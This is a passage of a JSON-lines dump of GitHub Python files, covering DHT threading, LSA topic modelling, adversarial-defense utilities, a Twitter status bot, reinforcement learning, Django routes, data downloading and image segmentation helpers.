run_check_firewalled(dht):\n \"\"\" Refresh the buckets by finding nodes near that bucket \"\"\"\n\n def task():\n \"\"\" Run the task \"\"\"\n try:\n dht.stop.wait(Config.SLEEP_WAIT)\n while dht.firewalled:\n dht.boot_peer.fw_ping(dht, dht.peer.id)\n l.info(\"Executed firewall check\")\n if dht.stop.wait(Config.FIREWALL_CHECK):\n return\n except: # noqa\n l.exception(\"run_check_firewalled failed\")\n raise\n finally:\n l.info(\"run_check_firewalled ended\")\n\n t = threading.Thread(target=task)\n t.setDaemon(True)\n t.start()\n return t\n\ndef run_bucket_refresh(dht): # noqa\n \"\"\" Refresh the buckets by finding nodes near that bucket \"\"\"\n\n def refresh_bucket(x):\n \"\"\" Refresh a single bucket \"\"\"\n id_ = int2bytes(2 ** x)\n dht.iterative_find_nodes(id_)\n\n def task():\n \"\"\" Run the task \"\"\"\n try:\n while True:\n for x in range(Config.ID_BITS):\n refresh_bucket(x)\n l.info(\"Refreshed bucket %d\", x)\n if dht.firewalled:\n f = 20\n else:\n f = 1\n if dht.stop.wait(Config.BUCKET_REFRESH * f):\n return\n except: # noqa\n l.exception(\"run_bucket_refresh failed\")\n raise\n finally:\n l.info(\"run_bucket_refresh ended\")\n\n t = threading.Thread(target=task)\n t.setDaemon(True)\n t.start()\n return t\n\n\ndef run_rpc_cleanup(dht):\n \"\"\" Remove stale RPC from rpc_states dict \"\"\"\n\n def task():\n \"\"\" Run the task \"\"\"\n try:\n while True:\n dht.stop.wait(Config.RPC_TIMEOUT)\n with dht.rpc_states as states:\n now = time.time()\n remove = []\n for key in states.keys():\n start = states[key][0]\n if (now - start) > Config.RPC_TIMEOUT:\n remove.append(key)\n l.info(\"Found %d stale rpc states\", len(remove))\n for key in remove:\n del states[key]\n if dht.stop.is_set():\n return\n except: # noqa\n l.exception(\"run_rpc_cleanup failed\")\n raise\n finally:\n l.info(\"run_rpc_cleanup ended\")\n\n t = threading.Thread(target=task)\n t.setDaemon(True)\n t.start()\n return t\n","repo_name":"pombreda/dht3k","sub_path":"dht3k/threads.py","file_name":"threads.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26378747009","text":"import preprocess\nimport utils\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.decomposition import TruncatedSVD\nimport spacy\nfrom spacy import displacy\nimport en_core_web_sm\n\n\ndef person_replace(text):\n nlp = en_core_web_sm.load()\n doc = nlp(text)\n person_list = []\n for entity in doc.ents:\n # print(f'{entity.text:12} \\t {entity.label_}')\n if entity.label_ == 'PERSON':\n person_list.append(entity.text)\n news_str = str(doc)\n for p in person_list:\n news_str = news_str.replace(p, \"person\")\n return news_str\n\nclass LSA():\n def __init__(self, data_dir, num_trends):\n self.num_trends = num_trends\n self.dfs, self.tokenized_doc = self.pre_process(data_dir)\n print(\"Preprocess ended\")\n self.tfidf = self.tfidf_LSA(self.dfs)\n\n def pre_process(self, data_dir):\n jsons = utils.get_json_list_from_data_dir(data_dir)\n dfs_2015, dfs_2016, dfs_2017 = utils.get_dataframe_from_json_list_by_year(jsons)\n dfs_2015 = dfs_2015[:200]\n Processor = preprocess.Preprocessor()\n dfs_2015[\"body\"] = dfs_2015[\"body\"].apply(lambda x: person_replace(x))\n dfs_2015[\"body\"] = dfs_2015[\"body\"].apply(lambda x: Processor.preprocess(x))\n dfs_2015[\"body\"] = dfs_2015[\"body\"].apply(lambda x: ' '.join([word for word in x if len(word) > 3]))\n tokenized_doc = dfs_2015[\"body\"].apply(lambda x: x.split())\n return dfs_2015, tokenized_doc\n\n def tfidf_LSA(self, dfs):\n vectorizer = TfidfVectorizer(stop_words='english',\n max_features=1000,\n max_df=0.5,\n smooth_idf=True)\n X = vectorizer.fit_transform(dfs[\"body\"])\n svd_model = TruncatedSVD(n_components=self.num_trends, algorithm='randomized',\n n_iter=100, random_state=424)\n svd_model.fit(X)\n terms = vectorizer.get_feature_names() # 단어 집합. 1,000개의 단어가 저장됨.\n n = 5\n for idx, topic in enumerate(svd_model.components_):\n print(\"Topic %d:\" % (idx + 1),\n [(terms[i], topic[i].round(5)) for i in topic.argsort()[:-n - 1:-1]])\n\n\nif __name__ == \"__main__\":\n lsa = LSA(\"../dataset\", 20)","repo_name":"drumpt/CS474_Term_Project","sub_path":"src/lsa_test.py","file_name":"lsa_test.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3022612189","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport tempfile\n\nimport torch\n\n# constants:\nCHECKPOINT_FILE = 'checkpoint.torch'\n\n\n# function that measures top-k accuracy:\ndef accuracy(output, target, topk=(1,)):\n maxk = max(topk)\n batch_size = target.size(0)\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100. / batch_size))\n return res\n\n\n# function that tries to load a checkpoint:\ndef load_checkpoint(checkpoint_folder):\n\n # read what the latest model file is:\n filename = os.path.join(checkpoint_folder, CHECKPOINT_FILE)\n if not os.path.exists(filename):\n return None\n\n # load and return the checkpoint:\n return torch.load(filename)\n\n\n# function that saves checkpoint:\ndef save_checkpoint(checkpoint_folder, state):\n\n # make sure that we have a checkpoint folder:\n if not os.path.isdir(checkpoint_folder):\n try:\n os.makedirs(checkpoint_folder)\n except BaseException:\n print('| WARNING: could not create directory %s' % checkpoint_folder)\n if not os.path.isdir(checkpoint_folder):\n return False\n\n # write checkpoint atomically:\n try:\n with tempfile.NamedTemporaryFile(\n 'w', dir=checkpoint_folder, delete=False) as fwrite:\n tmp_filename = fwrite.name\n torch.save(state, fwrite.name)\n os.rename(tmp_filename, os.path.join(checkpoint_folder, CHECKPOINT_FILE))\n return True\n except BaseException:\n print('| WARNING: could not write checkpoint to %s.' % checkpoint_folder)\n return False\n\n\n# function that adjusts the learning rate:\ndef adjust_learning_rate(base_lr, epoch, optimizer, lr_decay, lr_decay_stepsize):\n lr = base_lr * (lr_decay ** (epoch // lr_decay_stepsize))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\n# adversary functions\n# computes SSIM for a single block\ndef SSIM(x, y):\n x = x.resize_(x.size(0), x.size(1) * x.size(2) * x.size(3))\n y = y.resize_(y.size(0), y.size(1) * y.size(2) * y.size(3))\n N = x.size(1)\n mu_x = x.mean(1)\n mu_y = y.mean(1)\n sigma_x = x.std(1)\n sigma_y = y.std(1)\n sigma_xy = ((x - mu_x.expand_as(x)) * (y - mu_y.expand_as(y))).sum(1) / (N - 1)\n ssim = (2 * mu_x * mu_y) * (2 * sigma_xy)\n ssim = ssim / (mu_x.pow(2) + mu_y.pow(2))\n ssim = ssim / (sigma_x.pow(2) + sigma_y.pow(2))\n return ssim\n\n\n# mean SSIM using local block averaging\ndef MSSIM(x, y, window_size=16, stride=4):\n ssim = torch.zeros(x.size(0))\n L = x.size(2)\n W = x.size(3)\n x_inds = torch.arange(0, L - window_size + 1, stride).long()\n y_inds = torch.arange(0, W - window_size + 1, stride).long()\n for i in x_inds:\n for j in y_inds:\n x_sub = x[:, :, i:(i + window_size), j:(j + window_size)]\n y_sub = y[:, :, i:(i + window_size), j:(j + window_size)]\n ssim = ssim + SSIM(x_sub, y_sub)\n return ssim / x_inds.size(0) / y_inds.size(0)\n\n\n# forwards input through model to get probabilities\ndef get_probs(model, imgs, output_prob=False):\n softmax = torch.nn.Softmax(1)\n # probs = torch.zeros(imgs.size(0), n_classes)\n imgsvar = torch.autograd.Variable(imgs.squeeze(), volatile=True)\n output = model(imgsvar)\n if output_prob:\n probs = output.data.cpu()\n else:\n probs = softmax.forward(output).data.cpu()\n\n return probs\n\n\n# calls get_probs to get predictions\ndef get_labels(model, input, output_prob=False):\n probs = get_probs(model, input, output_prob)\n _, label = probs.max(1)\n return label.squeeze()\n","repo_name":"facebookarchive/adversarial_image_defenses","sub_path":"adversarial/lib/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":486,"dataset":"github-code","pt":"67"} +{"seq_id":"22923794336","text":"#!/usr/bin/env python\n#Max Abrams 2016\n#status.py - Simple python program demonstrating the twitter api. When ran, this will tweet cpu temp, free disk space, cpu usage, and ram usage\n#Make sure to use your own Twitter keys!!\n\nimport sys\nimport os\nfrom twython import Twython\n\n#Read CPU Temp\nline = os.popen('/opt/vc/bin/vcgencmd measure_temp').readline().strip()\ntemp = line.split('=')[1].split(\"'\")[0]\ntemp = float(temp) * 9.0 / 5.0 + 32 #Convert to F\ntemp = str(temp) #Convert to string\n\n#Read Free Disk Space\ndisks = os.popen(\"df -h /\")\nline = disks.readline()\nline = disks.readline()\nspace = line.split()[2] #Index 2 is remaining\n\n#Read CPU Usage\npercent = (str(os.popen(\"top -n1 | awk '/Cpu\\(s\\):/ {print $2}'\").readline().strip()))\n\n#Read RAM Usage\nram = os.popen('free')\nline = ram.readline()\nline = ram.readline()\nram = line.split()[2]\n\n#Post to Twitter\nCONSUMER_KEY = '___YOUR_CONSUMER_KEY___'\nCONSUMER_SECRET = '___YOUR_CONSUMER_SECRET___'\nACCESS_KEY = '___YOUR_ACCESS_KEY___'\nACCESS_SECRET = '___YOUR_ACCESS_SECRET___'\n\napi = Twython(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_KEY, ACCESS_SECRET) \n\napi.update_status(status='Temp(F): ' + temp + ', Free Space: ' + space + ', CPU(%): ' + percent + ', RAM: ' + ram + ', Auto #Cluster Status')\n","repo_name":"maxabrams/PiTweeter","sub_path":"status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12771675082","text":"import pandas as pd\r\ndf = pd.read_csv('city.csv')\r\nprint(df)\r\n\r\ndummies=pd.get_dummies(df.town)\r\nprint(dummies)\r\n\r\nmarged=pd.concat([df,dummies],axis='columns')\r\nprint(marged)\r\n\r\n#drop method\r\nmarged.drop('town',axis='columns',inplace=True)\r\n\r\n\r\nmarged.drop('west windsor',axis='columns',inplace=True)\r\n\r\n\r\nmarged.drop('Unnamed: 3',axis='columns',inplace=True)\r\nprint(marged)\r\n\r\nss\r\n\r\n#train the data\r\n\r\nX = marged.drop('price',axis='columns')\r\ny = marged.price\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nmodel = LinearRegression()\r\nmodel.fit(X,y)\r\n\r\n#predication\r\n\r\nprint(model.predict([[2800,0,1]])) ## 2800 sqr ft home in robbinsville\r\nprint(model.predict([[3400,0,0]])) # 3400 sqr ft home in west windsor\r\n\r\n","repo_name":"karan1210/python_MachineLearning","sub_path":"dummies_city.py","file_name":"dummies_city.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"41729032804","text":"import os\nimport sys\nimport logging\n\n\ndef fetch_file(web_address, destination, force_refresh=False):\n \"\"\"\n Download a file that we need, using wget.\n\n :param web_address:\n The URL that we should use to fetch the file\n :type web_address:\n str\n :param destination:\n The path we should download the file to\n :type destination:\n str\n :param force_refresh:\n Boolean flag indicating whether we should download a new copy if the file already exists.\n :type force_refresh:\n bool\n :return:\n Boolean flag indicating whether the file was downloaded. Raises IOError if the download fails.\n \"\"\"\n logging.info(\"Fetching file <{}>\".format(destination))\n\n # Check if the file already exists\n if os.path.exists(destination):\n if not force_refresh:\n logging.info(\"File already exists. Not downloading fresh copy.\")\n return False\n else:\n logging.info(\"File already exists, but downloading fresh copy.\")\n os.unlink(destination)\n\n # Fetch the file with wget\n os.system(\"wget -q '{}' -O {}\".format(web_address, destination))\n\n # Check that the file now exists\n if not os.path.exists(destination):\n raise IOError(\"Could not download file <{}>\".format(web_address))\n\n return True\n\n\ndef fetch_required_files():\n # List of the files we require\n required_files = [\n # Definitions of constellation boundaries\n {\n 'url': 'http://cdsarc.u-strasbg.fr/ftp/VI/49/bound_20.dat',\n 'destination': 'downloads/boundaries.dat',\n 'force_refresh': False\n },\n {\n 'url': 'http://cdsarc.u-strasbg.fr/ftp/VI/49/ReadMe',\n 'destination': 'downloads/ReadMe',\n 'force_refresh': False\n },\n\n # Yale Bright Star Catalog\n {\n 'url': 'http://cdsarc.u-strasbg.fr/ftp/V/50/catalog.gz',\n 'destination': 'downloads/ybsc.gz',\n 'force_refresh': False\n },\n\n # Hipparcos Catalog\n {\n 'url': 'ftp://cdsarc.u-strasbg.fr/pub/cats/I/239/hip_main.dat.gz',\n 'destination': 'downloads/hip_main.dat.gz',\n 'force_refresh': False\n }\n ]\n\n # Fetch all the files\n for required_file in required_files:\n fetch_file(web_address=required_file['url'],\n destination=required_file['destination'],\n force_refresh=required_file['force_refresh']\n )\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO,\n stream=sys.stdout,\n format='[%(asctime)s] %(levelname)s:%(filename)s:%(message)s',\n datefmt='%d/%m/%Y %H:%M:%S')\n logger = logging.getLogger(__name__)\n logger.info(__doc__.strip())\n\n fetch_required_files()\n","repo_name":"dcf21/star-charter","sub_path":"data/constellations/dataFetch.py","file_name":"dataFetch.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":316,"dataset":"github-code","pt":"67"} +{"seq_id":"73291711253","text":"import time\nimport argparse\nfrom datetime import datetime\n\nparser = argparse.ArgumentParser(fromfile_prefix_chars='@')\nparser.add_argument('-f', '--output', action='store',\n type=argparse.FileType('a'), dest='output',\n default = 'test.txt',\n help='Output file path if outputting to file')\nargs = parser.parse_args()\n\ndef main():\n print('Event Logging Initiated')\n try:\n while True:\n event = input()\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S:%f')\n print(timestamp, event)\n args.output.write(timestamp)\n if event:\n args.output.write(': ')\n args.output.write(event)\n args.output.write('\\n')\n except KeyboardInterrupt:\n print(\"\\nQuitting\")\n except EOFError:\n pass\n finally:\n print(\"Closing File\")\n if args.output:\n try: \n args.output.close()\n except KeyboardInterrupt:\n args.output.close()\n print(\"Closing Event Logger\")\nif __name__ == '__main__':\n main()\n","repo_name":"jh510/myo_code","sub_path":"event_logger.py","file_name":"event_logger.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"2870971513","text":"file = open(\"06/input.txt\", 'r').read()\nfile = file.split(\"\\n\")\n\n# +1 for buffer\nfishes = [0 for i in range(0,10)]\n# load starting fish values\nfor row in file:\n for i,timer in enumerate(row.split(\",\")):\n if timer != '':\n timer = int(timer)\n fishes[timer]+=1\n\niteration = 256\n# for calculate proper iter value, adding +2 is needed for the iteration\nfor day in range(1,iteration+2):\n for i in range(1, len(fishes)):\n if fishes[0]>0 and i == 1:\n fishes[7]+=fishes[0]\n fishes[9]+=fishes[0]\n fishes[0]=0\n\n if fishes[i]>0:\n fishes[i-1]+=fishes[i]\n fishes[i]=0\n\ns = 0\nfor i in range(0,8):\n s+=fishes[i]\n\nprint(s)\n","repo_name":"vmatt/adventofcoding","sub_path":"2021/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1153952508","text":"# 预处理coco2014数据集(目标检测标注部分),得到object categories的标注\n# 保存为一个字典,key是图片的cocoid,val是其包含的object categories(一个list)\nimport json\nfrom tqdm import tqdm\n\nann_train = json.load(open('../data/instances_train2014.json', 'r'))[\"annotations\"]\nann_val = json.load(open('../data/instances_val2014.json', 'r'))[\"annotations\"]\n\nann_dict = {}\nprint(\"Processing ann_train...\")\nfor item in tqdm(ann_train):\n cocoid = item[\"image_id\"]\n if cocoid in ann_dict:\n ann_dict[cocoid].append(item[\"category_id\"])\n else:\n ann_dict[cocoid] = [item[\"category_id\"]]\n\nprint(\"Processing ann_val...\")\nfor item in tqdm(ann_val):\n cocoid = item[\"image_id\"]\n if cocoid in ann_dict:\n ann_dict[cocoid].append(item[\"category_id\"])\n else:\n ann_dict[cocoid] = [item[\"category_id\"]]\n\nprint(\"Num of ann_dict: \" + str(len(ann_dict)))\nwith open('../data/ann_dict.json', 'w') as f:\n json.dump(ann_dict, f)\n","repo_name":"Y-Sisyphus/CVAE_Caption","sub_path":"scripts/prepro_ann.py","file_name":"prepro_ann.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3093781376","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib.colors import Normalize\nimport matplotlib\nimport os\nimport sys\nfrom scipy.io import FortranFile\nfrom matplotlib.gridspec import GridSpec\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom mpl_toolkits.axes_grid1.inset_locator import InsetPosition\nfrom pathlib import Path\nSMALL_SIZE = 8\nMEDIUM_SIZE = 10\nBIGGER_SIZE = 12\n\nplt.rc('font', size=MEDIUM_SIZE) # controls default text sizes\nplt.rc('axes', titlesize=MEDIUM_SIZE) # fontsize of the axes title\nplt.rc('axes', labelsize=SMALL_SIZE) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\nplt.rc('figure', titlesize=MEDIUM_SIZE) # fontsize of the figure title\n\nn=100000 #Number of particles\nn05 = np.loadtxt('n05_initial')\nn07 = np.loadtxt('n07_initial')\nmpa1 = np.loadtxt('mpa1_initial')\ntab = np.loadtxt('TAB_initial')\n\nnames = ['P-05','P-07','PWP-MPA1']\ninitial_models = [n05,n07,mpa1]\n\nfig, axes= plt.subplots(1,3,figsize=(12,3))\nplt.set_cmap('magma')\n\ni = 0\ndensmin=20\ndensmax=0\nfor model in initial_models:\n density=np.log10(model[:,6])\n if np.min(density) < densmin:\n densmin=np.min(density)\n else:\n densmin=densmin\n if np.max(density) > densmax:\n densmax=np.max(density)\n else:\n densmax=densmax\nnormalizer=Normalize(densmin,densmax)\nim=cm.ScalarMappable(norm=normalizer)\n\nfor model, name in zip(initial_models,names):\n ax = axes.flatten()[i]\n r1 = model[:,1]\n r2 = model[:,2]\n r3 = model[:,3]\n h=model[:,4]\n mass=model[:,25]\n radius=model[:,10]\n print(str(name),'M:',mass[0]*100000,'R:',np.max(radius),'Rho_c:',np.max(model[:,6]))\n density=np.log10(model[:,6])\n x=r1-np.sum(r1)/n\n y=r2-np.sum(r2)/n\n z=r3-np.sum(r2)/n\n x,y,z,density=x.flatten(),y.flatten(),z.flatten(),density.flatten()\n use_points=(abs(z)/h<=2)\n x,y,z,density=x[use_points],y[use_points],z[use_points],density[use_points]\n print(len(z))\n #idx = density.argsort() #sort by density -> high density points are plotted last\n #x, y, density = x[idx], y[idx], density[idx]\n im = ax.scatter(x,y,c=density,marker='o', lw=0, s=(72./(0.5*fig.dpi))**2,norm=normalizer)\n ax.set_aspect(\"equal\")\n ax.axis('off')\n ax.set_title(name,loc='center',fontsize=12)\n i += 1\n\nfig.subplots_adjust(right=0.8)\ncbar = fig.colorbar(im, ax=axes.ravel().tolist(),ticks=np.linspace(densmin,densmax,num=5),format=\"%.2f\",shrink=1.0)\ncbar.set_label(r'log($\\rho$ [gcm$^{-3}$])',rotation=90)\nplt.savefig('initial_models.png',dpi=300,bbox_inches='tight')\nplt.show()\n\n\n\n","repo_name":"tux-friend/SPHYNX","sub_path":"plotSPHYNXdata/plot_initial_models.py","file_name":"plot_initial_models.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71292960213","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport gym\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom ddqn_truth import DDQN \n\n\nenv = gym.make('Pendulum-v0')\nenv = env.unwrapped\nenv.seed(1)\n\nMEMORY_SIZE = 3000\nACTION_SPACE = 11\n\nsess = tf.Session()\nwith tf.variable_scope('Natural_DQN'):\n\n natural_DQN = DDQN(s_dim = env.observation_space.shape[0],\n a_dim = ACTION_SPACE,\n learning_rate = 0.005,\n e_greedy = 0.9,\n replace_target_iter = 200,\n memory_size = MEMORY_SIZE,\n e_greedy_increment = 0.001,\n double_q = False,\n sess = sess)\n\nwith tf.variable_scope('Double_DQN'):\n\n double_DQN = DDQN(s_dim = env.observation_space.shape[0],\n a_dim = ACTION_SPACE,\n learning_rate = 0.005,\n e_greedy = 0.9,\n replace_target_iter = 200,\n memory_size = MEMORY_SIZE,\n e_greedy_increment = 0.001,\n double_q = True,\n sess = sess)\n\n\nsess.run(tf.global_variables_initializer())\n\ndef train(RL):\n total_steps = 0\n s = env.reset()\n\n while True:\n env.render()\n a = RL.choose_action(s)\n f_action = (a-(ACTION_SPACE-1)/2)/((ACTION_SPACE-1)/4) # convert to [-2 ~ 2] float actions\n s_, r, done, info = env.step(np.array([f_action]))\n\n r /= 10 # normalize to a range of (-1, 0). r = 0 when get upright\n # the Q target at upright state will be 0, because Q_target = r + gamma * Qmax(s', a') = 0 + gamma * 0\n # so when Q at this state is greater than 0, the agent overestimates the Q. Please refer to the final result.\n RL.store_transition(s,a,r,s_,done)\n\n if total_steps > MEMORY_SIZE: #learning\n RL.learn()\n\n if total_steps - MEMORY_SIZE > 20000: # stop game\n break\n\n s = s_\n total_steps += 1\n\n return RL.q \n\nq_natural = train(natural_DQN)\nq_double = train(double_DQN)\n\nplt.plot(np.array(q_natural), c='r', label='natural')\nplt.plot(np.array(q_double), c='b', label='double')\nplt.legend(loc='best')\nplt.ylabel('Q eval')\nplt.xlabel('training steps')\nplt.grid()\nplt.show()\n\n\n\n\n","repo_name":"ldgcug/DeepReinforcementLearning-Tensorflow","sub_path":"DDQN/run_Pendulum.py","file_name":"run_Pendulum.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"3832156929","text":"from django.conf.urls.defaults import *\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\n\nfrom ad.views import *\n\nurlpatterns = patterns('',\n \n (r'^$', index),\n (r'^links/$', links),\n (r'^links/(?P\\d+)/$', links),\n (r'^(buy|sell)/(\\d+)/$', main),\n (r'^tag/(?P[^/]+)/$','ad.views.with_tag'), \n (r'^tag/(?P[^/]+)/(?P\\d+)/$', 'ad.views.with_tag' ),\n (r'^init_tags$','ad.views.init_tags'),\n \n # Uncomment the admin/doc line below and add 'django.contrib.admindocs' \n # to INSTALLED_APPS to enable admin documentation:\n (r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n (r'^admin/', include(admin.site.urls)),\n)\n","repo_name":"yrik/turmap","sub_path":"ad/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36543339721","text":"\"\"\" Utility file containing a variety of helper functions\"\"\"\r\n\r\nimport glob\r\nimport os.path as op\r\n\r\nimport torch\r\nfrom torchvision import transforms\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import gridspec\r\nfrom PIL import Image\r\nimport cv2\r\n\r\n\r\ndef freeze_layers(model, start: int, stop: int) -> None:\r\n \"\"\" Freezes the layers of a nn from start to stop indices\r\n\r\n Args:\r\n model: (torchvision.models)\r\n the model to use\r\n start: (int)\r\n the starting index\r\n stop: (int)\r\n the stopping index\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n for name, child in model.named_children():\r\n if name == 'backbone':\r\n for i in range(start, stop):\r\n layer = child[str(i)].parameters()\r\n for parameter in layer:\r\n parameter.requires_grad = False\r\n\r\n\r\ndef mean_iou(outputs: torch.Tensor, labels: torch.Tensor) -> float:\r\n \"\"\" Calculates the mean IoU (Jaccard index) between\r\n two tensors. Shape expected to be same.\r\n\r\n Args:\r\n outputs: (torch.Tensor)\r\n the output of a model\r\n labels: (torch.Tensor)\r\n the ground truth labels\r\n\r\n Returns:\r\n float\r\n \"\"\"\r\n outputs = outputs.byte()\r\n labels = labels.byte()\r\n intersection = torch.logical_and(labels, outputs)\r\n union = torch.logical_or(labels, outputs)\r\n iou_score = torch.sum(intersection) / torch.sum(union)\r\n return iou_score.mean()\r\n\r\n\r\ndef imshow(image: Image) -> None:\r\n \"\"\" Displays an image\r\n\r\n Args:\r\n image: (Image) the input image to display\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n np_image = image.numpy()\r\n plt.imshow(np.transpose(np_image, (1, 2, 0)))\r\n\r\n\r\ndef label_to_color_image(label: np.ndarray) -> np.ndarray:\r\n \"\"\" Adds color defined by the dataset colormap to the label.\r\n From https://github.com/tensorflow/models/tree/master/research/deeplab\r\n\r\n Args:\r\n label: (np.ndarray)\r\n A 2D array with integer type, storing the segmentation label.\r\n\r\n Returns:\r\n A 2D array with floating type. The element of the array\r\n is the color indexed by the corresponding element in the input label\r\n to the CMU Yamaha dataset color map.\r\n\r\n Raises:\r\n ValueError: If label is not of rank 2 or its value is larger than color\r\n map maximum entry.\r\n \"\"\"\r\n if len(label.shape) != 2:\r\n raise ValueError('Expect 2-D input label')\r\n\r\n colormap = create_cmu_yamaha_offroad_label_colormap()\r\n\r\n if np.max(label) >= len(colormap):\r\n raise ValueError('label value too large.')\r\n\r\n return colormap[label]\r\n\r\n\r\ndef create_cmu_yamaha_offroad_label_colormap() -> np.ndarray:\r\n \"\"\" Creates a label colormap used in CMU Yamaha Offroad\r\n dataset segmentation dataset.\r\n\r\n Returns:\r\n A Colormap for visualizing segmentation results.\r\n \"\"\"\r\n colormap = np.zeros((256, 3), dtype=int)\r\n ind = np.arange(256, dtype=int)\r\n\r\n for shift in reversed(range(8)):\r\n for channel in range(3):\r\n colormap[:, channel] |= ((ind >> channel) & 1) << shift\r\n ind >>= 3\r\n\r\n return colormap\r\n\r\n\r\ndef vis_segmentation(image: np.ndarray, seg_map: np.ndarray) -> None:\r\n \"\"\" Visualizes input image, segmentation map and overlay view\r\n From https://github.com/tensorflow/models/tree/master/research/deeplab\r\n\r\n Args:\r\n image: (np.ndarray)\r\n the rgb image\r\n seg_map: (np.ndarray)\r\n the mask to overlay\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n label_names = np.asarray([\r\n 'non-traversable', 'rough trail', 'smooth trail', 'traversable grass',\r\n 'low vegetation', 'obstacle', 'high vegetation', 'sky'\r\n ])\r\n\r\n full_label_map = np.arange(len(label_names)).reshape(len(label_names), 1)\r\n full_color_map = label_to_color_image(full_label_map)\r\n\r\n plt.figure(figsize=(15, 5))\r\n grid_spec = gridspec.GridSpec(1, 4, width_ratios=[6, 6, 6, 1])\r\n\r\n plt.subplot(grid_spec[0])\r\n plt.imshow(image)\r\n plt.axis('off')\r\n plt.title('input image')\r\n\r\n plt.subplot(grid_spec[1])\r\n seg_image = label_to_color_image(seg_map).astype(np.uint8)\r\n plt.imshow(seg_image)\r\n plt.axis('off')\r\n plt.title('segmentation map')\r\n\r\n plt.subplot(grid_spec[2])\r\n plt.imshow(image)\r\n plt.imshow(seg_image, alpha=0.5)\r\n plt.axis('off')\r\n plt.title('segmentation overlay')\r\n\r\n unique_labels = np.unique(seg_map)\r\n ax = plt.subplot(grid_spec[3])\r\n plt.imshow(full_color_map[unique_labels].astype(np.uint8), interpolation='nearest')\r\n ax.yaxis.tick_right()\r\n plt.yticks(range(len(unique_labels)), label_names[unique_labels])\r\n plt.xticks([], [])\r\n ax.tick_params(width=0.0)\r\n plt.grid('off')\r\n plt.show()\r\n\r\n\r\ndef draw_segmentation(image: np.ndarray, seg_map: np.ndarray) -> np.ndarray:\r\n \"\"\" Visualizes input image overlayed with segmentation map\r\n\r\n Args:\r\n image: (np.ndarray)\r\n the rgb image\r\n seg_map: (np.ndarray)\r\n the mask to overlay\r\n\r\n Returns:\r\n overlay: (np.ndarray)\r\n input image overlayed with segmentation map\r\n \"\"\"\r\n # label_names = np.asarray([\r\n # 'non-traversable', 'rough trail', 'smooth trail', 'traversable grass',\r\n # 'low vegetation', 'obstacle', 'high vegetation', 'sky'\r\n # ])\r\n\r\n # full_label_map = np.arange(len(label_names)).reshape(len(label_names), 1)\r\n # full_color_map = label_to_color_image(full_label_map)\r\n seg_image = label_to_color_image(seg_map).astype(np.uint8)\r\n overlay = cv2.addWeighted(image, 0.5, seg_image, 0.5, 0)\r\n return overlay\r\n\r\n\r\ndef display_example_pair(image: np.ndarray, mask: np.ndarray) -> None:\r\n \"\"\" Visualizes input image and segmentation map. Used for visualizations.\r\n\r\n Args:\r\n image: (np.ndarray) the rgb image\r\n mask: (np.ndarray) the mask of the input image\r\n\r\n Returns:\r\n None\r\n \"\"\"\r\n _, ax = plt.subplots(1, 2, figsize=(15, 15))\r\n ax[0].imshow(image)\r\n ax[0].axis('off')\r\n ax[0].set_title('Original Image')\r\n ax[1].imshow(mask)\r\n ax[1].axis('off')\r\n ax[1].set_title('Mask')\r\n\r\n\r\ndef vis_grid_4x3(model, data_path: str) -> None:\r\n \"\"\" Visualizes a grid of original, mask, 